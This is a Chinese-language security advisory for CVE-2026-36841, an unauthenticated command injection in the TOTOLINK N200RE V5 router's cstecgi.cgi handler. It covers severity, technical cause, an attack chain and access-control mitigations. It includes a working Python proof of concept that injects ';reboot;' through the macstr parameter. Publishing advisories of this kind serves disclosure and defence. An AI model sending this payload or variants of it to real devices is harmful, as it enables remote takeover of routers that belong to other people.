IPBUF安全漏洞报告
English
CVE-2026-36841 CVSS 9.8 严重

CVE-2026-36841 TOTOLINK N200RE命令注入漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-36841
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TOTOLINK N200RE V5

相关标签

命令注入RCETOTOLINKIoT路由器CVE-2026-36841

漏洞概述

TOTOLINK N200RE V5路由器在`formMapDelDevice`接口中存在严重的命令注入漏洞。由于系统未对用户提交的`macstr`和`bandstr`参数进行严格的过滤与校验,未经身份验证的远程攻击者可利用该漏洞注入并执行任意操作系统命令,从而完全控制受影响设备。

技术细节

该漏洞源于TOTOLINK N200RE V5路由器Web管理后台的`cstecgi.cgi`程序中`formMapDelDevice`函数存在输入验证缺陷。该函数在处理删除设备映射的请求时,直接接收HTTP POST请求中的`macstr`和`bandstr`参数,并将其拼接到底层系统命令中调用`system()`函数执行,未对特殊字符进行转义。攻击者无需经过身份验证,即可向目标服务器发送精心构造的数据包,在参数中注入分号、管道符等Shell元字符,从而追加执行任意系统命令。成功利用后,攻击者可获得设备的最高控制权限,导致敏感信息泄露、服务中断或设备被植入僵尸网络程序。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别目标TOTOLINK N200RE V5设备及其Web管理接口。
STEP 2
漏洞利用
攻击者向`/cgi-bin/cstecgi.cgi`发送特制的HTTP POST请求,在`macstr`或`bandstr`参数中注入恶意Shell命令。
STEP 3
命令执行
由于后台未过滤参数,系统将恶意代码拼接到系统命令中执行,攻击者获得设备Shell权限。
STEP 4
建立控制
攻击者执行后续恶意操作,如下载后门、修改配置或发起DDoS攻击,完全控制设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable payload: Injecting a command to reboot (e.g., `reboot`) or create a file # Injection happens in the 'macstr' parameter using a semicolon separator payload = { "topicurl": "setMapDelDevice", "macstr": ";reboot;", # Malicious command injection "bandstr": "2.4G" } try: # Send the POST request to the vulnerable endpoint response = requests.post(url, json=payload, timeout=10) # Check response status if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

TOTOLINK N200RE V5

防御指南

临时缓解措施
建议用户在未修复前,通过ACL(访问控制列表)限制对路由器管理端口(通常为80、443或8080)的访问来源IP,仅允许可信的内网IP访问。同时,应定期检查路由器日志是否存在异常的命令执行记录或未知的配置变更。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表